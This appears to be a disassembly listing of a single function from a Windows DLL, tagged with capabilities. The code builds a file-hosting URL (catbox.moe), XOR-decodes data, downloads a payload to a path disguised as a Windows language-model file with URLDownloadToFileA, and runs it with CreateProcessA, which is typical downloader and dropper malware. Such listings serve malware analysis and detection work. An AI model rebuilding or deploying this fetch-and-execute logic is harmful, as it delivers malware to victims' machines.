Function at 0x18000ac70
Capabilities:
Create process on windows
Download url
Encode data using xor
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x130]
sub rsp, 0x230
mov rax, qword [0x18015b080]
xor rax, rsp
mov qword [rbp + 0x120], rax
xor edi, edi
mov byte [0x18015f360], 1
call fcn.180005450
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_35
lea rdx, str.https:__files.catbox.moe_zhw7r9.bin
lea rcx, [rsp + 0x78]
call fcn.18000e180
nop
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x50]
call fcn.18000c2c0
lea rax, [rsp + 0x50]
mov r8, qword [rsp + 0x50]
mov r9, qword [rsp + 0x68]
cmp r9, 0xf
cmova rax, r8
lea rdx, [rsp + 0x50]
cmova rdx, r8
mov r10, qword [rsp + 0x60]
add r10, rdx
mov edx, edi
mov rcx, r10
sub rcx, rax
cmp rax, r10
cmova rcx, rdi
test rcx, rcx
je 0x18000ad79
cmp rcx, 0x40
jb 0x18000ad79
and rcx, 0xffffffffffffffc0
movdqa xmm1, xmmword [0x180143420]
nop
movdqu xmm0, xmmword [rax]
xorps xmm0, xmm1
movdqu xmmword [rax], xmm0
movdqu xmm0, xmmword [rax + 0x10]
xorps xmm0, xmm1
movdqu xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [rax + 0x20]
xorps xmm0, xmm1
movdqu xmmword [rax + 0x20], xmm0
movdqu xmm0, xmmword [rax + 0x30]
xorps xmm0, xmm1
movdqu xmmword [rax + 0x30], xmm0
add rax, 0x40
add rdx, 0x40
cmp rdx, rcx
jne 0x18000ad30
mov r9, qword [rsp + 0x68]
mov r8, qword [rsp + 0x50]
cmp rax, r10
je 0x18000ad95
nop
xor byte [rax], 0x4f
inc rax
cmp rax, r10
jne 0x18000ad80
mov r9, qword [rsp + 0x68]
mov r8, qword [rsp + 0x50]
lea rbx, [rsp + 0x50]
cmp r9, 0xf
cmova rbx, r8
jbe 0x18000add8
lea rdx, [r9 + 1]
mov rax, r8
cmp rdx, 0x1000
jb 0x18000add0
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000add0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r8
call fcn.18010d81c
movdqa xmm0, xmmword [0x180143070]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x18000ae2a
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000ae25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000ae25
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18010d81c
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, str.C:WindowsSKBLanguageModelslm.pt_BR.bin
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
js 0x18000af00
mov dword [rbp - 0x60], 0x68
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x104
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
lea r8, [0x18013c6a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x18000af00
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [0x18015f360], 0
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.18010d380
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret